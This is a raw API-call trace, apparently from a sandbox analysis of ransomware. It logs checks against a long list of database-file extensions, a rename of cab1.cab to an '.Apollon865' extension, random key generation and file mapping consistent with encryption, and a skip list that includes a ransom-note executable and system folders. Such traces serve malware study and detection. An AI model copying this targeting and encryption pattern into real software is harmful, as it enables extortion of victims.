	[0064.897] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0064.897] lstrlenW (lpString="db") returned 2
	[0064.897] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0064.897] lstrlenW (lpString="db2") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0064.897] lstrlenW (lpString="db3") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0064.897] lstrlenW (lpString="dbf") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0064.897] lstrlenW (lpString="mdf") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0064.897] lstrlenW (lpString="mdb") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0064.897] lstrlenW (lpString="sql") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0064.897] lstrlenW (lpString="sqlite") returned 6
	[0064.897] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0064.897] lstrlenW (lpString="sqlite3") returned 7
	[0064.897] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0064.897] lstrlenW (lpString="sqlitedb") returned 8
	[0064.897] lstrlenW (lpString="xml") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0064.897] lstrlenW (lpString="$er") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0064.898] lstrlenW (lpString="4dd") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0064.898] lstrlenW (lpString="4dl") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0064.898] lstrlenW (lpString="^^^") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0064.898] lstrlenW (lpString="abs") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0064.898] lstrlenW (lpString="abx") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0064.898] lstrlenW (lpString="accdb") returned 5
	[0064.898] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0064.898] lstrlenW (lpString="accdc") returned 5
	[0064.898] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0064.898] lstrlenW (lpString="accde") returned 5
	[0064.898] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0064.898] lstrlenW (lpString="accdr") returned 5
	[0064.898] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0064.898] lstrlenW (lpString="accdt") returned 5
	[0064.898] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0064.898] lstrlenW (lpString="accdw") returned 5
	[0064.898] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0064.898] lstrlenW (lpString="accft") returned 5
	[0064.898] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0064.898] lstrlenW (lpString="adb") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0064.898] lstrlenW (lpString="adb") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0064.898] lstrlenW (lpString="ade") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0064.898] lstrlenW (lpString="adf") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0064.898] lstrlenW (lpString="adn") returned 3
	[0064.898] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0064.898] lstrlenW (lpString="adp") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0064.899] lstrlenW (lpString="alf") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0064.899] lstrlenW (lpString="ask") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0064.899] lstrlenW (lpString="btr") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0064.899] lstrlenW (lpString="cat") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0064.899] lstrlenW (lpString="cdb") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0064.899] lstrlenW (lpString="ckp") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0064.899] lstrlenW (lpString="cma") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0064.899] lstrlenW (lpString="cpd") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0064.899] lstrlenW (lpString="dacpac") returned 6
	[0064.899] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0064.899] lstrlenW (lpString="dad") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0064.899] lstrlenW (lpString="dadiagrams") returned 10
	[0064.899] lstrlenW (lpString="daschema") returned 8
	[0064.899] lstrlenW (lpString="db-journal") returned 10
	[0064.899] lstrlenW (lpString="db-shm") returned 6
	[0064.899] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0064.899] lstrlenW (lpString="db-wal") returned 6
	[0064.899] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0064.899] lstrlenW (lpString="dbc") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0064.899] lstrlenW (lpString="dbs") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0064.899] lstrlenW (lpString="dbt") returned 3
	[0064.899] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0064.899] lstrlenW (lpString="dbv") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0064.900] lstrlenW (lpString="dbx") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0064.900] lstrlenW (lpString="dcb") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0064.900] lstrlenW (lpString="dct") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0064.900] lstrlenW (lpString="dcx") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0064.900] lstrlenW (lpString="ddl") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0064.900] lstrlenW (lpString="dlis") returned 4
	[0064.900] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0064.900] lstrlenW (lpString="dp1") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0064.900] lstrlenW (lpString="dqy") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0064.900] lstrlenW (lpString="dsk") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0064.900] lstrlenW (lpString="dsn") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0064.900] lstrlenW (lpString="dtsx") returned 4
	[0064.900] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0064.900] lstrlenW (lpString="dxl") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0064.900] lstrlenW (lpString="eco") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0064.900] lstrlenW (lpString="ecx") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0064.900] lstrlenW (lpString="edb") returned 3
	[0064.900] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0064.900] lstrlenW (lpString="epim") returned 4
	[0064.900] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0064.900] lstrlenW (lpString="fcd") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0064.901] lstrlenW (lpString="fdb") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0064.901] lstrlenW (lpString="fic") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0064.901] lstrlenW (lpString="flexolibrary") returned 12
	[0064.901] lstrlenW (lpString="fm5") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0064.901] lstrlenW (lpString="fmp") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0064.901] lstrlenW (lpString="fmp12") returned 5
	[0064.901] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0064.901] lstrlenW (lpString="fmpsl") returned 5
	[0064.901] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0064.901] lstrlenW (lpString="fol") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0064.901] lstrlenW (lpString="fp3") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0064.901] lstrlenW (lpString="fp4") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0064.901] lstrlenW (lpString="fp5") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0064.901] lstrlenW (lpString="fp7") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0064.901] lstrlenW (lpString="fpt") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0064.901] lstrlenW (lpString="frm") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0064.901] lstrlenW (lpString="gdb") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0064.901] lstrlenW (lpString="gdb") returned 3
	[0064.901] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0064.901] lstrlenW (lpString="grdb") returned 4
	[0064.901] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0064.901] lstrlenW (lpString="gwi") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0064.902] lstrlenW (lpString="hdb") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0064.902] lstrlenW (lpString="his") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0064.902] lstrlenW (lpString="ib") returned 2
	[0064.902] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0064.902] lstrlenW (lpString="idb") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0064.902] lstrlenW (lpString="ihx") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0064.902] lstrlenW (lpString="itdb") returned 4
	[0064.902] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0064.902] lstrlenW (lpString="itw") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0064.902] lstrlenW (lpString="jet") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0064.902] lstrlenW (lpString="jtx") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0064.902] lstrlenW (lpString="kdb") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0064.902] lstrlenW (lpString="kexi") returned 4
	[0064.902] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0064.902] lstrlenW (lpString="kexic") returned 5
	[0064.902] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0064.902] lstrlenW (lpString="kexis") returned 5
	[0064.902] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0064.902] lstrlenW (lpString="lgc") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0064.902] lstrlenW (lpString="lwx") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0064.902] lstrlenW (lpString="maf") returned 3
	[0064.902] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0064.902] lstrlenW (lpString="maq") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0064.903] lstrlenW (lpString="mar") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0064.903] lstrlenW (lpString="marshal") returned 7
	[0064.903] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0064.903] lstrlenW (lpString="mas") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0064.903] lstrlenW (lpString="mav") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0064.903] lstrlenW (lpString="maw") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0064.903] lstrlenW (lpString="mdbhtml") returned 7
	[0064.903] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0064.903] lstrlenW (lpString="mdn") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0064.903] lstrlenW (lpString="mdt") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0064.903] lstrlenW (lpString="mfd") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0064.903] lstrlenW (lpString="mpd") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0064.903] lstrlenW (lpString="mrg") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0064.903] lstrlenW (lpString="mud") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0064.903] lstrlenW (lpString="mwb") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0064.903] lstrlenW (lpString="myd") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0064.903] lstrlenW (lpString="ndf") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0064.903] lstrlenW (lpString="nnt") returned 3
	[0064.903] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0064.903] lstrlenW (lpString="nrmlib") returned 6
	[0064.903] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0064.904] lstrlenW (lpString="ns2") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0064.904] lstrlenW (lpString="ns3") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0064.904] lstrlenW (lpString="ns4") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0064.904] lstrlenW (lpString="nsf") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0064.904] lstrlenW (lpString="nv") returned 2
	[0064.904] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0064.904] lstrlenW (lpString="nv2") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0064.904] lstrlenW (lpString="nwdb") returned 4
	[0064.904] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0064.904] lstrlenW (lpString="nyf") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0064.904] lstrlenW (lpString="odb") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0064.904] lstrlenW (lpString="odb") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0064.904] lstrlenW (lpString="oqy") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0064.904] lstrlenW (lpString="ora") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0064.904] lstrlenW (lpString="orx") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0064.904] lstrlenW (lpString="owc") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0064.904] lstrlenW (lpString="p96") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0064.904] lstrlenW (lpString="p97") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0064.904] lstrlenW (lpString="pan") returned 3
	[0064.904] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0064.905] lstrlenW (lpString="pdb") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0064.905] lstrlenW (lpString="pdm") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0064.905] lstrlenW (lpString="pnz") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0064.905] lstrlenW (lpString="qry") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0064.905] lstrlenW (lpString="qvd") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0064.905] lstrlenW (lpString="rbf") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0064.905] lstrlenW (lpString="rctd") returned 4
	[0064.905] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0064.905] lstrlenW (lpString="rod") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0064.905] lstrlenW (lpString="rodx") returned 4
	[0064.905] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0064.905] lstrlenW (lpString="rpd") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0064.905] lstrlenW (lpString="rsd") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0064.905] lstrlenW (lpString="sas7bdat") returned 8
	[0064.905] lstrlenW (lpString="sbf") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0064.905] lstrlenW (lpString="scx") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0064.905] lstrlenW (lpString="sdb") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0064.905] lstrlenW (lpString="sdc") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0064.905] lstrlenW (lpString="sdf") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0064.905] lstrlenW (lpString="sis") returned 3
	[0064.905] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0064.906] lstrlenW (lpString="spq") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0064.906] lstrlenW (lpString="te") returned 2
	[0064.906] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0064.906] lstrlenW (lpString="teacher") returned 7
	[0064.906] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0064.906] lstrlenW (lpString="tmd") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0064.906] lstrlenW (lpString="tps") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0064.906] lstrlenW (lpString="trc") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0064.906] lstrlenW (lpString="trc") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0064.906] lstrlenW (lpString="trm") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0064.906] lstrlenW (lpString="udb") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0064.906] lstrlenW (lpString="udl") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0064.906] lstrlenW (lpString="usr") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0064.906] lstrlenW (lpString="v12") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0064.906] lstrlenW (lpString="vis") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0064.906] lstrlenW (lpString="vpd") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0064.906] lstrlenW (lpString="vvv") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0064.906] lstrlenW (lpString="wdb") returned 3
	[0064.906] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0064.906] lstrlenW (lpString="wmdb") returned 4
	[0064.906] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0064.907] lstrlenW (lpString="wrk") returned 3
	[0064.907] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0064.907] lstrlenW (lpString="xdb") returned 3
	[0064.907] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0064.907] lstrlenW (lpString="xld") returned 3
	[0064.907] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0064.907] lstrlenW (lpString="xmlff") returned 5
	[0064.907] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0064.907] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865") returned 135
	[0064.907] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0064.908] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0064.908] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=5153816) returned 1
	[0064.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0064.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0064.908] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0064.909] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0064.909] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0064.909] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ea720, lpName=0x0) returned 0x14c
	[0064.911] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xea720) returned 0x2b40000
	[0065.893] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
	[0065.894] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0065.894] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0065.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.895] UnmapViewOfFile (lpBaseAddress=0x2b40000) returned 1
	[0065.904] CloseHandle (hObject=0x14c) returned 1
	[0065.904] CloseHandle (hObject=0x154) returned 1
	[0065.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0065.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0065.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0065.921] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4bbd50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0065.922] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0065.923] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0065.924] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.925] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="Apollon865.txt.exe") returned 1
	[0065.925] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".") returned 1
	[0065.925] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="..") returned 1
	[0065.926] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="windows") returned -1
	[0065.926] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="bootmgr") returned 1
	[0065.926] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="temp") returned 1
	[0065.926] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="pagefile.sys") returned 1
	[0065.926] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="boot") returned 1
	[0065.926] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="ids.txt") returned 1
